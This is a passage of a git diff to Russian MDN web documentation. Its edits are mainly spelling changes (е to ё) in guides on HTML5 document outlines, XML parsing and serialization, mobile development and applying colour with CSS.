передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели <a href="http://www.w3.org/TR/html5/sections.html#rank">степень важности</a> заголовков (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>).</p> +<p><strong>Важно</strong>: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрён в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм <a href="http://www.w3.org/TR/html5/sections.html#outline">построения структуры</a> нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели <a href="http://www.w3.org/TR/html5/sections.html#rank">степень важности</a> заголовков (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>).</p> </div> <p>Спецификация HTML5 предлагает разработчикам несколько новых элементов, позволяющих описывать структуру веб-документа с помощью стандартной семантики. В настоящей статье описываются эти элементы и способы их использования для создания требуемой структуры любого документа.</p> <h2 id="Структура_документа_в_HTML_4">Структура документа в HTML 4</h2> -<p>Структура документа, т. е. семантическая структура контента, заключенного в теги <code><body></code> и <code></body></code>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включенными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.</p> +<p>Структура документа, т. е. семантическая структура контента, заключённого в теги <code><body></code> и <code></body></code>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включёнными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.</p> <p>Так, следующая разметка:</p> @@ -67,16 +67,16 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <h2 id="Какие_проблемы_решает_HTML5">Какие проблемы решает HTML5</h2> -<p>Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются четкостью, что порождает множество проблем:</p> +<p>Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются чёткостью, что порождает множество проблем:</p> <ol> - <li>Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов <strong>class</strong> не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не дает точного определения разделу и четких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">реабилитационными технологиями</a>, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.</li> - <li>Объединить несколько документов в один непросто: включение подчиненного документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.</li> + <li>Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов <strong>class</strong> не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не даёт точного определения разделу и чётких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">реабилитационными технологиями</a>, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.</li> + <li>Объединить несколько документов в один непросто: включение подчинённого документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.</li> <li>В HTML4 каждый раздел является частью структуры документа. Однако часто документы отличаются сложной, нелинейной структурой. Документ может включать специальные разделы, информация в которых не является частью основного контента, хотя и связана с ним, например, рекламный блок или поясняющая заметка. HTML5 добавляет элемент {{HTMLElement("aside")}}, позволяющий исключить такие разделы из основной структуры.</li> <li>Опять же, поскольку в HTML4 каждый раздел является частью структуры документа, как быть с разделами, содержащими информацию, касающуюся не конкретного документа, а всего сайта, например, логотипы, оглавления или информация об авторских правах и правовые положения. В HTML5 для этих целей добавлено три новых элемента: {{HTMLElement("nav")}} для наборов ссылок, например, оглавления, {{HTMLElement("footer")}} и {{HTMLElement("header")}} для информации, касающейся всего сайта. Обратите внимание, что {{HTMLElement("header")}} и {{HTMLElement("footer")}} не создают разделы как {{HTMLElement("section")}}, а, скорее, обеспечивают семантическую разметку частей раздела.</li> </ol> -<p>В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что дает браузерам возможность более качественно обслуживать пользователей.</p> +<p>В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что даёт браузерам возможность более качественно обслуживать пользователей.</p> <h2 id="Алгоритм_создания_структуры_HTML5">Алгоритм создания структуры HTML5</h2> @@ -106,7 +106,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>(c) 2010 The Example company</p> </footer></pre> -<p>Данный фрагмент HTML задает раздел верхнего уровня:</p> +<p>Данный фрагмент HTML задаёт раздел верхнего уровня:</p> <pre class="notranslate"><span style="color: red;"><section> <h1>Лесные слоны</h1> @@ -159,9 +159,9 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <h3 id="Задание_заголовков_в_HTML5">Задание заголовков в HTML5</h3> -<p>Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задает заголовок текущего раздела.</p> +<p>Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задаёт заголовок текущего раздела.</p> -<p>Элемент заголовка имеет определенную <em>степень важности,</em> определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет <em>максимальную</em> степень важности, а {{HTMLElement("h6")}} <em>минимальную</em>. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:</p> +<p>Элемент заголовка имеет определённую <em>степень важности,</em> определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет <em>максимальную</em> степень важности, а {{HTMLElement("h6")}} <em>минимальную</em>. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:</p> <pre class="brush:xml notranslate"><section> <h1>Лесные слоны</h1> @@ -248,10 +248,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>приводит к следующей структуре:</p> <pre class="notranslate">1. Млекопитающие - 1.1 <em>Киты (неявно задается элементом h2)</em> - 1.2 Лесные слоны <em>(явным образом задается элементом раздела)</em> - 1.3 Монгольская песчанка <em>(неявно задается элементом h3, который одновременно закрывает предыдущий раздел)</em> -2. <em>Рептилии (неявно задается элементом h2, который одновременно закрывает предыдущий раздел)</em> + 1.1 <em>Киты (неявно задаётся элементом h2)</em> + 1.2 Лесные слоны <em>(явным образом задаётся элементом раздела)</em> + 1.3 Монгольская песчанка <em>(неявно задаётся элементом h3, который одновременно закрывает предыдущий раздел)</em> +2. <em>Рептилии (неявно задаётся элементом h2, который одновременно закрывает предыдущий раздел)</em> </pre> <p>Эта не та структура, которую можно было бы ожидать, бегло просмотрев теги заголовков. Чтобы разметка стала понятна человеку, а также чтобы степень важности заголовка соответствовала уровню вложенности раздела, рекомендуется использовать наглядные теги для открытия и закрытия разделов. Однако спецификация HTML5 этого не требует. Поэтому, если браузеры отображают структуру документа не так, как ожидалось, проверьте, нет ли в документе разделов, не явно закрытых элементами заголовков.</p> @@ -260,7 +260,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <h3 id="Корни_задания_разделов"><a name="sectioning_root">Корни задания разделов</a></h3> -<p> <a id="sectioning root" name="sectioning root">Корень задания разделов</a> – это элемент HTML, который может иметь собственную структуру, однако входящие в нее разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.</p> +<p> <a id="sectioning root" name="sectioning root">Корень задания разделов</a> – это элемент HTML, который может иметь собственную структуру, однако входящие в неё разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.</p> <p>Например:</p> @@ -272,10 +272,10 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document </section> <section> <h2>Среда обитания</h2> - <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят ученые в «<cite>Лесной слон на Борнео</cite>»:</p> + <p>Лесные слоны живут не на деревьях, а под ними. Давайте рассмотрим, что говорят учёные в «<cite>Лесной слон на Борнео</cite>»:</p> <blockquote> <h1>Борнео</h1> - <p>Лесной слон живет на Борнео...</p> + <p>Лесной слон живёт на Борнео...</p> </blockquote> </section> </section> @@ -294,8 +294,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p> HTML5 вводит два новых элемента, позволяющих задавать разделы, не входящие в основную структуру веб-документа:</p> <ol> - <li>Элемент вспомогательного раздела {{HTMLElement("aside")}} задает раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.</li> - <li>Элемент навигационного раздела {{HTMLElement("nav")}} задает раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.</li> + <li>Элемент вспомогательного раздела {{HTMLElement("aside")}} задаёт раздел, который, хотя и связан с основным элементом, не принадлежит к основной структуре, например, поясняющая заметка или реклама. Он имеет собственную структуру, однако не входит в основную структуру страницы.</li> + <li>Элемент навигационного раздела {{HTMLElement("nav")}} задаёт раздел, содержащий навигационные ссылки. Таких элементов в документе может быть несколько, например, один со внутренними ссылками на страницу, например, оглавление, а другой – с ссылками для навигации по сайту. Такие ссылки не являются частью основной структуры документа и как правило пропускаются экранными дикторами.</li> </ol> <h3 id="Шапки_и_подвалы">Шапки и подвалы</h3> @@ -303,8 +303,8 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>HTML5 также добавляет два новых элемента, которые могут использоваться для разметки верхнего и нижнего колонтитулов страниц:</p> <ol> - <li>Элемент шапки {{HTMLElement("header")}} задает шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.</li> - <li>Элемент подвала ({{HTMLElement("footer")}}) задает нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.</li> + <li>Элемент шапки {{HTMLElement("header")}} задаёт шапку страницы (как правило, логотип и название сайта, а также горизонтальное меню, если имеется) или раздела (которая может включать заголовок раздела, имя автора и т.д.).{{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("header")}}. Несмотря на название, этот элемент не обязательно располагается в начале страницы или раздела.</li> + <li>Элемент подвала ({{HTMLElement("footer")}}) задаёт нижний колонтитул страницы (как правило включающий уведомления об авторских правах и другую правовую информацию, а иногда также содержащий какие-либо ссылки) или раздела (может включать дату публикации, информацию о лицензии и т.п. {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}} и {{HTMLElement("nav")}} могут иметь собственный {{HTMLElement("footer")}}. Несмотря на название, этот элемент не обязательно располагается в конце страницы или раздела.</li> </ol> <p>Эти элементы не создают новые разделы в структуре, а скорее используются для разметки контента внутри разделов страницы.</p> @@ -313,7 +313,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document <p>Автор документа часто хочет опубликовать свою контактную информацию, например, имя и адрес. HTML4 позволял сделать это с помощью элемента {{HTMLElement("address")}}, расширенного в HTML5.</p> -<p>Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создается не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.</p> +<p>Документ может включать несколько разделов, принадлежащих разным авторам. Если раздел создаётся не автором основной страницы, для задания используется элемент {{HTMLElement("article")}}. В результате элемент {{HTMLElement("address")}} теперь связан с ближайшим родительским {{HTMLElement("body")}} или {{HTMLElement("article")}}.</p> <h2 id="Использование_элементов_HTML5_в_браузерах_не_поддерживающих_HTML5">Использование элементов HTML5 в браузерах, не поддерживающих HTML5</h2> @@ -341,7 +341,7 @@ original_slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document </script> <![endif]--></pre> -<p>Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включенной поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:</p> +<p>Этот скрипт запускается в Internet Explorer (8 и более ранней версии), однако требует включённой поддержки скриптов для правильного отображения элементов задания разделов и заголовок HTML5. Если поддержка скриптов выключена, это может стать проблемой, поскольку данные элементы, скорее всего, определяют структуру всей страницы. Поэтому необходимо добавить элемент {{HTMLElement("noscript")}}:</p> <pre class="brush:xml notranslate"><noscript> <strong>Внимание!</strong> diff --git a/files/ru/web/guide/index.html b/files/ru/web/guide/index.html index d2776aed12..a782bc47e9 100644 --- a/files/ru/web/guide/index.html +++ b/files/ru/web/guide/index.html @@ -56,7 +56,7 @@ translation_of: Web/Guide <dt class="landingPageList"><a href="/ru/docs/Web/API/FormData/Using_FormData_Objects">Использование объектов FormData</a></dt> <dd class="landingPageList">Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> позволяет создать набор пар ключ/значение и передать их, используя <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.</code> Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом <code>{{domxref("HTMLFormElement.submit","submit()")}}</code> формы, с установленной кодировкой <code>enctype="multipart/form-data"</code>.</dd> <dt class="landingPageList"><a href="/ru/docs/Web/Guide/User_input_methods">Пользовательский ввод и управление</a></dt> - <dd class="landingPageList">Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.</dd> + <dd class="landingPageList">Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.</dd> <dt class="landingPageList"><a href="/ru/docs/Словарь">Словарь (глоссарий терминов)</a></dt> <dd class="landingPageList">Определения и аббревиатуры в мире Web и Internet.</dd> </dl> diff --git a/files/ru/web/guide/mobile/index.html b/files/ru/web/guide/mobile/index.html index 149b851884..7279b9cc30 100644 --- a/files/ru/web/guide/mobile/index.html +++ b/files/ru/web/guide/mobile/index.html @@ -7,7 +7,7 @@ translation_of: Web/Guide/Mobile --- <p>На этой странице даётся обзор основных методов разработки веб-сайтов, корректно работающих на мобильных устройствах. Если вы ищете информацию о проекте Firefox OS от Mozilla, смотрите страницу <a href="/ru/docs/Archive/B2G_OS" title="Boot to Gecko">Firefox OS</a>. Возможно вас также интересует подробная информация о <a href="/ru/docs/Mozilla/Firefox_%D0%B4%D0%BB%D1%8F_Android" title="Firefox for Android">Firefox для Android</a>.</p> -<p>Статья разбита на два раздела: <a href="#разработка_под_мобильные_устройства">разработка под мобильные устройства</a> и <a href="#кросс_браузерная_верстка">кросс-браузерная совместимость</a>.<br> +<p>Статья разбита на два раздела: <a href="#разработка_под_мобильные_устройства">разработка под мобильные устройства</a> и <a href="#кросс_браузерная_вёрстка">кросс-браузерная совместимость</a>.<br> См. также руководство от Jason Grlicky по <a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="/en-US/docs/Web_Development/Mobile/Mobile-friendliness">дружелюбность-к-мобильным</a> для веб-разработчиков.</p> <h2 id="Разработка_под_мобильные_устройства"><a id="разработка_под_мобильные_устройства" name="разработка_под_мобильные_устройства">Разработка под мобильные устройства</a></h2> @@ -41,7 +41,7 @@ translation_of: Web/Guide/Mobile <p>Наконец, вы можете воспользоваться преимуществом новых возможностей, предлагаемых мобильными устройствами, такие как <a href="/en/Detecting_device_orientation" title="en/Detecting_device_orientation">orientation</a> и <a href="/En/Using_geolocation" title="En/Using_geolocation">geolocation</a>.</p> -<h2 id="Кросс-браузерная_верстка"><a id="кросс_браузерная_верстка" name="кросс_браузерная_верстка">Кросс-браузерная верстка</a></h2> +<h2 id="Кросс-браузерная_вёрстка"><a id="кросс_браузерная_вёрстка" name="кросс_браузерная_вёрстка">Кросс-браузерная вёрстка</a></h2> <h3 id="Пишите_кросс-браузерный_код">Пишите кросс-браузерный код</h3> @@ -50,7 +50,7 @@ translation_of: Web/Guide/Mobile <ul> <li>Старайтесь избегать использования стилей, специфических для браузеров, таких как свойства CSS с вендорными префиксами.</li> <li>Если всё же вам необходимо ими воспользоваться, убедитесь что другие браузеры применяют свои собственные версии этих свойств, и укажите их.</li> - <li>Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощенный вариант.</li> + <li>Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощённый вариант.</li> </ul> <p>Например, если вы указываете градиент в качестве фона для какого-либо текста, используя стиль с вендорным префиксом типа <code>-webkit-linear-gradient</code>, правильнее включить другие варианты с вендор-специфическими префиксами для свойства <a href="/en/CSS/linear-gradient" title="en/CSS/linear-gradient">linear-gradient</a>. Если вы этого не делаете, по крайней мере удостоверьтесь, что фон, отображаемый по умолчанию, контрастирует с текстом: тогда страница, по крайней мере, будет корректно отображаться в браузере, который не воспринимает ваше <code>linear-gradient</code> правило.</p> diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html index a99fe9cd84..5304905afc 100644 --- a/files/ru/web/guide/parsing_and_serializing_xml/index.html +++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html @@ -27,11 +27,11 @@ translation_of: Web/Guide/Parsing_and_serializing_XML <dt>{{domxref("XMLSerializer")}}</dt> <dd>Сериализует деревья DOM, преобразуя их в строки, содержащие XML.</dd> <dt>{{domxref("DOMParser")}}</dt> - <dd>Создает дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.</dd> + <dd>Создаёт дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.</dd> <dt>{{domxref("XMLHttpRequest")}}</dt> <dd>Загружает контент из URL-адреса; Содержимое XML возвращается как объект XML {{domxref ("Document")}} с деревом DOM, построенным из самого XML.</dd> <dt><a href="/en-US/docs/Web/XPath">XPath</a></dt> - <dd>Технология создания строк, содержащих адреса для определенных частей документа XML, и поиска узлов XML на основе этих адресов.</dd> + <dd>Технология создания строк, содержащих адреса для определённых частей документа XML, и поиска узлов XML на основе этих адресов.</dd> </dl> <h2 id="Создание_XML-документа">Создание XML-документа</h2> @@ -69,9 +69,9 @@ xhr.responseType = "document"; xhr.send(); </pre> -<p>Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путем синтаксического анализа XML.</p> +<p>Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путём синтаксического анализа XML.</p> -<p>Если документ представляет собой {{Glossary ("HTML")}}, приведенный выше код вернет {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.</p> +<p>Если документ представляет собой {{Glossary ("HTML")}}, приведённый выше код вернёт {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.</p> <div class="note"> <p>Примечание: на самом деле существует интерфейс {{domxref ("HTMLDocument")}}, но это не обязательно независимый тип. В некоторых браузерах это так, а в других это просто псевдоним для интерфейса документа.</p> @@ -94,7 +94,7 @@ var sXML = oSerializer.serializeToString(doc);</pre> <h3 id="Serializing_HTML_documents">Serializing HTML documents</h3> -<p>Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать ее с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.</p> +<p>Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать её с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.</p> <pre class="brush: js notranslate">var docHTML = document.documentElement.innerHTML; </pre> diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html index 945fbc3269..ed2af4c050 100644 --- a/files/ru/web/guide/user_input_methods/index.html +++ b/files/ru/web/guide/user_input_methods/index.html @@ -12,7 +12,7 @@ translation_of: Web/Guide/User_input_methods --- <div class="summary"> <p><span class="seoSummary">Это руководство содержит рекомендации по обработке пользовательского ввода - и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий. + и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдёте соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий. Связанные интерфейсы API и события: <a href="/ru/docs/Web/API/Touch_events">события касаний</a>, <a href="/ru/docs/Web/API/Pointer_Lock_API">интерфейс отслеживания указателя мыши</a>, <a href="/ru/docs/Web/API/CSS_Object_Model/ориентация_экрана">интерфейс ориентации экрана</a>, <a href="/ru/docs/DOM/Using_fullscreen_mode">интерфейс режима "на весь экран"</a>, <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">перетаскивание и сброс</a> и т. д.</span></p> diff --git a/files/ru/web/html/applying_color/index.html b/files/ru/web/html/applying_color/index.html index 0ff6dd3410..1815d66f34 100644 --- a/files/ru/web/html/applying_color/index.html +++ b/files/ru/web/html/applying_color/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTML/Applying_color <div>{{HTMLRef}}</div> <div> -<p>Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом еще до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью <span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a></span>, существует множество способов присвоить цвет <a href="/en-US/docs/Web/HTML">HTML</a> элементам, чтобы придать им желаемый вид. <span class="seoSummary">Эта статья дает базовые представления о всех способах </span>применения цвета к HTML элементам с помощью CSS<span class="seoSummary">.</span></p> +<p>Использование цвета - одна из фундаментальных форм человеческого восприятия, так дети экспериментируют с цветом ещё до того, как начинают осознанно рисовать. Возможно, именно поэтому цвет - одна из первых вещей, с которой люди хотят экспериментировать, изучая разработку веб-сайтов. С помощью <span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a></span>, существует множество способов присвоить цвет <a href="/en-US/docs/Web/HTML">HTML</a> элементам, чтобы придать им желаемый вид. <span class="seoSummary">Эта статья даёт базовые представления о всех способах </span>применения цвета к HTML элементам с помощью CSS<span class="seoSummary">.</span></p> </div> <p>К счастью, присвоить цвет к HTML элементу очень просто, и это можно сделать практически со всеми элементами.</p> @@ -27,7 +27,7 @@ translation_of: Web/HTML/Applying_color <dl> <dt>{{cssxref("color")}}</dt> - <dd>Свойство color применяется к тексту и любому <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">оформлению текста</a>, например: подчеркивание, линии на текстом, перечеркивание и т.д.</dd> + <dd>Свойство color применяется к тексту и любому <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">оформлению текста</a>, например: подчёркивание, линии на текстом, перечёркивание и т.д.</dd> <dt>{{cssxref("background-color")}}</dt> <dd>Цвет фона текста.</dd> <dt>{{cssxref("text-shadow")}}</dt> @@ -36,7 +36,7 @@ translation_of: Web/HTML/Applying_color </dd> <dt>{{cssxref("text-decoration-color")}}</dt> <dd> - <p>По умолчанию, элементы оформление текста (подчеркивание, перечеркивание) используют цвет свойства <code>color</code>. Но вы можете присвоить другой цвет с помощью свойства <code>text-decoration-color</code>.</p> + <p>По умолчанию, элементы оформление текста (подчёркивание, перечёркивание) используют цвет свойства <code>color</code>. Но вы можете присвоить другой цвет с помощью свойства <code>text-decoration-color</code>.</p> </dd> <dt>{{cssxref("text-emphasis-color")}}</dt> <dd> @@ -71,7 +71,7 @@ translation_of: Web/HTML/Applying_color <dl> <dt>{{cssxref("border-color")}}</dt> - <dd>Задает единый цвет для всех сторон границы элемента.</dd> + <dd>Задаёт единый цвет для всех сторон границы элемента.</dd> <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}</dt> <dd>Позволяет установить цвет соответствующей стороне границы элемента: <strong>border-left-color</strong> - левая граница, <strong>border-right-color</strong> - правая, <strong>border-top-color</strong> - верхняя, <strong>border-bottom-color</strong> - нижняя.</dd> <dt>{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}</dt> @@ -80,7 +80,7 @@ translation_of: Web/HTML/Applying_color <dd>Эти свойства определяют цвет границы, расположенной ближе всего к началу и концу текста в блоке. <span style="letter-spacing: -0.00278rem;">Сторона начала и конца зависит от свойств </span>{{cssxref("writing-mode")}}, {{cssxref("direction")}} <span style="letter-spacing: -0.00278rem;">и </span>{{cssxref("text-orientation")}}<span style="letter-spacing: -0.00278rem;">, которые обычно (но не всегда) используются для настройки направления текста. Например, если текст отображается справа налево, то </span><code>border-inline-start-color</code> п<span style="letter-spacing: -0.00278rem;">рименяется к правой стороне границы.</span></dd> </dl> -<h3 id="Как_можно_еще_использовать_цвет">Как можно еще использовать цвет</h3> +<h3 id="Как_можно_ещё_использовать_цвет">Как можно ещё использовать цвет</h3> <p>CSS не единственная web-технология, которая поддерживает цвет.</p> @@ -89,7 +89,7 @@ translation_of: Web/HTML/Applying_color <dd>Позволяет создавать растровую 2D-графику в элементе {{HTMLElement("canvas")}}. См. <a 